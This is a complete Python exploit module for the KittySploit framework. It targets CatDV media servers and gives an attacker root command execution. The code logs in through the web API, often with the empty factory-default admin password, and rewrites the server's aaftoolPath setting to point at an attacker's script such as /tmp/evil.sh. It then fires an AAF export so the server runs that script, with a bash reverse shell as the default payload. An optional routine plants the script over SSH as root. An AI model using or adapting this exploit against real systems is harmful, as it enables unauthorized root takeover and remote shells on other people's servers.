CatDV aaftoolPath authenticated root RCE

"""CatDV authenticated aaftoolPath override → AAF export root RCE."""
from __future__ import annotations
import base64
import json
import os
import re
import subprocess
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'CatDV aaftoolPath authenticated root RCE', 'description': 'Login to CatDV web API, PUT server-config aaftoolPath, trigger AAF export. Place the script on the host via ssh_key or pre-stage at aaftool_path.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['catdv', 'aaftool', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/catdv_aaftoolPath_root_rce_detect']}}}
    SETTINGS_ROW_ID = 101
    DEFAULT_AAFTOOL = '/tmp/evil.sh'
    API_PREFIX = '/catdv/api/1'
    port = OptPort(8181, 'CatDV web port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    username = OptString('admin', 'CatDV admin user', required=True)
    password = OptString('', 'CatDV password (empty factory default)', required=False)
    aaftool_path = OptString(DEFAULT_AAFTOOL, 'catdv.aaftoolPath value on server', required=False)
    settings_row_id = OptInteger(SETTINGS_ROW_ID, 'Server-config settings row id', required=False)
    clip_list_id = OptInteger(1, 'clipListID for AAF export trigger', required=False)
    ssh_key = OptString('', 'Optional SSH key to upload evil.sh as root', required=False)
    api_prefix = OptString(API_PREFIX, 'CatDV REST prefix', required=False)

    def _ssh_write_script(self, target: str, key: str, remote_path: str, cmd: str) -> str:
        script = f'#!/bin/sh\n{cmd}\n'
        b64 = base64.b64encode(script.encode()).decode()
        ssh_cmd = ['ssh', '-i', os.path.expanduser(key), '-o', 'ConnectTimeout=20', '-o', 'StrictHostKeyChecking=no', f'root@{target}', f"echo '{b64}' | base64 -d > {remote_path} && chmod 755 {remote_path}"]
        try:
            r = subprocess.run(ssh_cmd, capture_output=True, text=True, timeout=60)
            if r.returncode != 0:
                return (r.stderr or r.stdout or 'ssh failed').strip()
            return 'ok'
        except Exception as exc:
            return str(exc)

    def _session_login(self) -> tuple[bool, str]:
        prefix = str(self.api_prefix or self.API_PREFIX).rstrip('/')
        body = {'username': str(self.username or 'admin'), 'password': str(self.password or '')}
        resp = self.http_request('POST', prefix + '/session', data=json.dumps(body), headers={'Content-Type': 'application/json', 'CatDV-Client': 'web'})
        if not resp:
            return (False, '')
        cookies = resp.headers.get('Set-Cookie', '') or ''
        if int(resp.status_code or 0) not in (200, 204, 500):
            return (False, cookies)
        jsid = ''
        m = re.search('JSESSIONID=([^;\\s]+)', cookies)
        if m:
            jsid = m.group(1)
        auth = ''
        m = re.search('catdv_authenticated_user=([^;\\s]+)', cookies)
        if m:
            auth = m.group(1)
        if jsid and auth:
            return (True, f'JSESSIONID={jsid}; catdv_authenticated_user={auth}')
        return (int(resp.status_code or 0) in (200, 204, 500), cookies)

    def _put_aaftool(self, cookie: str) -> tuple[int, str]:
        prefix = str(self.api_prefix or self.API_PREFIX).rstrip('/')
        row_id = int(self.settings_row_id or self.SETTINGS_ROW_ID)
        path = f'{prefix}/settings/{row_id}'
        value = json.dumps({'catdv.aaftoolPath': str(self.aaftool_path or self.DEFAULT_AAFTOOL)})
        payload = {'ID': row_id, 'type': 23, 'name': 'server-config', 'value': value}
        resp = self.http_request('PUT', path, data=json.dumps(payload), headers={'Content-Type': 'application/json', 'CatDV-Client': 'web', 'Cookie': cookie})
        if not resp:
            return (-1, 'settings PUT failed')
        return (int(resp.status_code or 0), (resp.text or '')[:300])

    def _trigger_aaf(self, cookie: str) -> tuple[int, str]:
        prefix = str(self.api_prefix or self.API_PREFIX).rstrip('/')
        clip = int(self.clip_list_id or 1)
        path = f'{prefix}/clips?fmt=aaf&clipListID={clip}'
        resp = self.http_request('GET', path, headers={'CatDV-Client': 'web', 'Cookie': cookie})
        if not resp:
            return (-1, 'AAF trigger failed')
        return (int(resp.status_code or 0), (resp.text or '')[:200])

    def execute(self, shell: str) -> str:
        target = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(target, 'value'):
            target = target.value
        key = str(self.ssh_key or '').strip()
        remote = str(self.aaftool_path or self.DEFAULT_AAFTOOL)
        if key:
            host = str(target).split('://')[-1].split('/')[0].split(':')[0]
            staged = self._ssh_write_script(host, key, remote, shell)
            if staged != 'ok':
                return f'SSH script staging failed: {staged}'
        elif key == '':
            pass
        ok, cookie = self._session_login()
        if not ok or not cookie:
            return 'CatDV session login failed (check admin password)'
        put_code, put_body = self._put_aaftool(cookie)
        if put_code not in (200, 204):
            return f'aaftoolPath PUT HTTP {put_code}: {put_body!r}'
        trig_code, trig_body = self._trigger_aaf(cookie)
        return f'aaftoolPath={remote!r}; PUT HTTP {put_code}; AAF trigger HTTP {trig_code} — confirm via handler (ssh_key used={bool(key)}) snippet: {trig_body!r}'

    def check(self):
        prefix = str(self.api_prefix or self.API_PREFIX).rstrip('/')
        resp = self.http_request('GET', prefix + '/session')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'CatDV API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'CatDV API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        key = str(self.ssh_key or '').strip()
        if not key:
            print_status('No ssh_key — ensure a executable script exists at aaftool_path with your payload')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('session → aaftoolPath → AAF export exec')
        print_info(self.execute(shell))
        self.vulnerable()
        return True